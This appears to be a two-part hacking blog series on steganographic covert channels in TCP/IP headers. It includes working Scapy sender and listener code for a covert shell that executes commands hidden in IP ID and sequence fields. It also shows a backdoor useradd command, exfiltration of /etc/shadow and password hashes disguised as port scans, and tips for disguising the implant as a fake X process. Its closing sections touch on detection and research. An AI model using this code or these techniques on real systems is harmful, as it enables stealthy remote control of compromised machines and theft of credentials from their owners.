Remember, the original X executable is located at /usr/bin directory… I personally don’t believe that a Sys Admin would realize that this process is a phony in a plain “ps aux“. Maybe an optimistic 4/10 of Sys Admins would catch this. You need tools to catch this guy, if you aren’t an observant geek!

And the passphrase for this Lucky instance is (yes, you guessed it!) “–rootless” (argv[1]). You can come up with any switch-like passphrase and use it. I know no man alive that knows all the X switches… And there will never be a man that will read X’s man (page)!

(Here we hacked a mind, not a PC. In my humble opinion that’s what “Hacking” is all about)

 

Passphrases can also be hardcoded in lucky.py, but this lacks style even more! And apart from the style part, strings command will return nothing (in a PyInstaller’d Lucky) if the passphrase is passed as an argument. Hidden in plain site.

 

 

Video Mode ON

The OS Shell

Here I run some linux commands in the Pozzo & Lucky while sniffing with tcpdump.

 

The Shellcode (ASM) Shell

Here I remotely run some shellcode I found online. The connection broke the first time I tried to deliver the shellcode so I restarted Pozzo to force a Reset Packet and get everything working again.

I also demonstrate that Lucky does not die after the shellcode termination by using the OS shell again.

Video Mode OFF

Concluding…

This project is closed-source at the moment as it is a part of a personal research which isn’t finished yet. Generally the whole idea has started to have an academical perspective as there are papers like “Embedding Covert Channels into TCP/IP” (Murdoch & Lewis, 2005) – I told you the idea isn’t new, that have to be cross checked (those guys propose algorithms that bust IP/TCP stego).

Additionally anyone can treat this article as a proposal for a tool and start writing his/her own implementation. My techniques aren’t the best (while full of style), and I am sure that some things can be done better. I learned a lot of things while writing Pozzo & Lucky, don’t lose the opportunity to do the same. And there are things (maybe a lot of things!) to be done! Here are some:

  • Write such a tool in an ASM compilable language (C++ maybe…)! It will be an overkill tool. As there will be no dependencies (and if there are you can always use –static).
  • Use another (innocent looking) protocol. What about ARP. ARPs aren’t blocked unless the Network admin is a madman and has locked ALL switch ports to MACs. And even if this happens, a Gratuitous ARP could be received by everyone in a LAN. I see some potential here…
  • Go for implementations for the pseudo-code given in the above paper. There can be Covert Channel filters. There can be a classification model to provide possibilities about whether a packet contains Stego. I mean, why aren’t there such things around?
  • I would really like to see a PF-Sense plugin for Stego filtering.
  • The list goes on (without me)…

 

 Part 3?

Sure, thanks for asking!

It will contain my research on detection and mitigation of such techniques. Going for an article targeted to Blue Teams!

There are some handles right now that might get us caught!

The entropy of the TCP Sequence Field is as high as /dev/urandom‘s entropy for the same number of bytes, sure, but what about distributions? The ISNs are created (by Operating Systems) using time as a “seed”, they aren’t entirely random. That means that they inevitably have a distribution. Does Pozzo & Lucky create ISN’s that resemble the same distribution? Most likely NO.

  • Can we determine if a packet stream contains Stego using this info?
  • If Yes, we need many packets (many values to identify the distribution).
  • How many?
  • How much data has to leak before we catch the culprit?

Research Everyone! Next time we aren’t gonna fire up “Scapy” but “Scipy“!
Next time there will be Fuction Curves and Integrals, along with Firewall and IDS logs! I can’t thing of anything better (girlfriends are pretty neat too)!

Keep tuned…

(Holly Cows, everything we can think of exists ! Fitter, for example! That’s why Python is my Business – and Business is good)

 

 

To Be Continued…

Teaching an Old Dog (not that new) Tricks. Stego in TCP/IP made easy (part-1)

With “Old Dog” being the TCP/IP protocol stack, and “(not that new) Tricks” being steganography and generally covert channels you can see where this is going…

I know those things aren’t new. Just google “Covert TCP“! They are old as dust (there is even a PoC implementation in C), proven to be working, but for some reason, I don’t see them being applied in pentest projects a lot. Maybe because of their greyish ways and lack of versatile implementation.

Yet, the simplicity of the idea is tempting. We could leak a lot of data using not strictly defined protocol header values. The tools are here (gonna prove it in a second), and the Oh Captain, my Captain has already written the Bible on Networking.

 

3, 2, 1, Nose Dive…

The IP identification field

The Almighty IPv4 header!
    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version|  IHL  |Type of Service|          Total Length         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Identification        |Flags|      Fragment Offset    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Time to Live |    Protocol   |         Header Checksum       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination Address                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

And the RFCDefinition” on “Identification” Field:

  Identification:  16 bits

    An identifying value assigned by the sender to aid in assembling the
    fragments of a datagram.

That’s all. A value that is useful if there is packet fragmentation. If not it just lies there meaningless. The definition could end up with: “Just don’t use the same values all over folks

So IP implementations used the +1 technique. Every new packet leaving a machine would have the ID of the previous packet plus one.

And then this happened! The nmap Idle Scan exploited (more like used) this implementation idea, to produce port scans that were really hard to track. How this can happen is an interesting read. It is a satanic idea, from a notorious networking master.

Implementations changed their ways and started using random values in the IP identification field. This is our chance now!

Random values. The place to start!

If we know that we expect random values in a certain field, we can’t perform any checks in it… Everything is permitted.

For example: The IP identification bytes are “FU” in a packet. Or “GG”, or 2 zero bytes (\x00). We can blame none. It just happened out of luck… This is our starting point!

(Actually there is a catch on this, called entropy. Life is not that easy. More on this on part 2, where we climb this fence too)

Let’s do some hands on! (Scapy and heavy Python is being used, fasten your seatbelts):

Screenshot from 2016-09-12 23-00-01.png
Sender(left) – Receiver(right)

Here we pass the payload “Hello!” (6 bytes) across from sender to receiver by encapsulating it in 3 IP packets’ identification fields (2 bytes each).

The receiver reassembles the identification fields of the packets and recreates the string.

Pretty impressive! And pretty basic. But quite untraceable too. I mean those are the hexdumps of the packets:

screenshot-from-2016-09-12-23-09-52

If you look closely you can see the “Hello!” bytes, in each packet, in Big Endian (as bytes travel in Big Endian through networks). They are visible and detectable, but none is gonna search for data leakage in the packet’s header. Those packets could be bogus HTTP requests to totally misdirect the analyst.

The problem:

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1956 Aug  2 16:27 /etc/shadow

That’s a file deserving to be leaked. But this size will produce 978 packets, assuming we encapsulate data only in the IP identification field… The keyword here is only

 

In search for moar Bandwidth…

Looking for more fields the Protocol Definitions do not totally define, or define as random, the ISN is a candidate. TCP that is.

    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The Initial Sequence Number has to be not exactly random, but highly variant for every new connection made (RFC 793, p 27 – here).

To make a long story short, the sequence number field counts how many bytes have been delivered in an A->B connection. But if all connections started with Initials Sequence Number of 0 (as no bytes have traveled through yet), this value would be easy to guess by evil-doers. Guessing this value makes you able to inject packets to an A->B connection altering what is being communicated. Altering an .exe file download from an FTP or web page for example. Scary stuff.

So ISN has been defined to be hard(er) to guess in RFC using a timed algorithm. For us, it is safe to say that ISN is effectively random. And the game begins…

4 more bytes?

Kind of… But with caution. In a TCP connection the sequence numbers aren’t random. Far from it. They count the bytes delivered each way of the connection. The randomness lies to what the first (Initial) Sequence Number will be. So we can have 4 more bytes of “bandwidth” in connection attempts. That is only for the first packet of every potential connection. Successful or Failed. And a place where those packets are being delivered like crazy: Port Scans

So we can make a PC (we have deeply compromised) do a “Port Scan” to us. It will walk like a Port Scan, talk like Port Scan but it will be an exfiltration. A bad one.

Hands on:

Oh, before that, I will use this line in my code:

grep -v '#' /usr/share/nmap/nmap-services | sort -r -k3 | awk  '{print $2}' | cut -d/ -f1 | head -$x

I generally like Bash Kung Fu. This particular line is useful to get the X most common ports from the nmap port usage frequency file. The one it uses with the –top-ports option. We are gonna simulate an nmap port scan… Here we are: Screenshot from 2016-09-14 15-20-51.png

What was leaked here? A password hash! Let’s fire up John The Ripper! And it took just 17 packets.

The .pcap file with the actual packets can be found here. Wireshark friendly and all. Try analyzing it yourself to get the payload with your own methods.

(Also happy to see that scapy has default source port of 20/ftp-data, which, as of SANS504 course, is the most intrusive port for Port Scanning. Wisely made…)

 

The Complete Change of Mind

Exfiltration is LAME…

I mean, come on… To run scapy on a machine you have to root it. Either for crafting packets, or using 2-layer sniffing. So if you have already rooted a machine you need the most of it. Getting its data is just a small aspect of all the power you have. You need Remote Command Execution. You need the # Shell god-dammit.

But shells (bind/reverse/web) are visible and highly detectable. And they lack style altogether! Let’s make a Covert Shell to conclude part-1.

Advantages:

  • Absolutely connection-less, thous ultimately stealthy in the OS 4-layer sockets.
  • IDS/IPS won’t catch it as they don’t look in packet headers.
  • No useful info will be logged by Firewalls and security devices in the perimeter. Everything will resemble a Port Scan in the eye of the analyst who doesn’t have access to packet capture.

Disadvantages:

  • Won’t work through proxies (any kind), as they rebuild all packets from scratch.
  • It needs a program to run on the victim.
  • It generally lacks response from commands (the version shown here).

 

The concept:

We want to run a simple command like:

useradd -p $(openssl passwd -1 covert_password) covert_user

to create a user with password in the remote machine.

The command has to travel covertly to the machine to be executed.

This command has to be chunked to fit in a number of packets. We have to create also a switch, to inform the Listener which is the last packet, as different commands have different lengths.

So we sacrifice a byte from the 6 available bandwidth bytes of a packet to make it a switch.

There is also the idea of padding. If the length of the command divided by 5 (the new bandwidth of a single packet) has a remainder, that means that the last packet will need extra bytes to be filled up. Those bytes are called padding and need to be easily removed or ignored.

 

The (scapy) code

The Listener Code

from os import system
from struct import pack

payload = ''
while True :
    packet = sniff (iface = 'lo', count = 1) [0]
    packet_payload = ''.join( pack("<HI", packet.id, packet.seq) )
    payload += packet_payload[1:]
    if packet_payload[0] == '\xff' :
        continue
    if packet_payload[0] == '\xdd' :
        os.system(payload.replace('\x00', ''))
        print "Run command '%s'" % payload
        payload = ''

Waiting for something longer, aren’t you? So in Python this is 14 lines. Let’s try in English:

In an infinite loop we
fetch the first packet we see and
reassemble the string that has been split in the ID and Sequence Number Fields
We add that string to the payload.
If we see the byte \xff we are fine and continue    # this line is added as a handle for additional functionality
If we see the byte \xdd it means that the packet we got was the last of a command.
We run the command to the shell with system()
Announce our task to make the beta tester happy.
Empty the payload string to make it ready for the next command.
Repeat from the begining

10 lines. And English doesn’t need includes and imports.

The Sender Code

from struct import unpack

def chunker(payload, chunk_size = 5) :
    packetN = (len(payload) / chunk_size)
    if len(payload) % chunk_size > 0 :
        packetN + 1
    payload += '\x00' * ( chunk_size - (len(payload) % chunk_size) )
    packets = []
    payload_chuncks = [payload[x:x + chunk_size] for x in xrange(0, len( payload ), chunk_size) ]
    for i in range( len(payload_chuncks) - 1) :
        ip_id, tcp_isn = unpack("<HI", '\xff' + payload_chuncks[i])
        packet = IP( id = ip_id )/TCP( seq = tcp_isn )
        packets.append( packet )
    ip_id, tcp_isn = unpack("<HI", '\xdd' + payload_chuncks[-1])
    packet = IP( id = ip_id )/TCP( seq = tcp_isn )
    packets.append( packet )
    return packets

while True :
    payload = raw_input("$> ")
    if not payload :
        continue
    packets = chunker(payload)
    send(packets, inter = 0.05)

And this is the Sender. As you can see the code works only for localhost and has a lot of limitations. I have been writing a Proof of Concept of a Covert Shell. The full blown one will come in the Part-2

It’s Alive, it’s alive…

Screenshot from 2016-09-14 20-36-55.png
Sender(Left), Receiver(Up-Right), Proof that the Command has been Executed (Down-Right)

 

The mighty Analyst’s sideScreenshot from 2016-09-14 20-51-28.png

Hmm… The ID and Sequence number are clearly not random on all the packets from this host… I wonder what is going on here…

To Be Continued…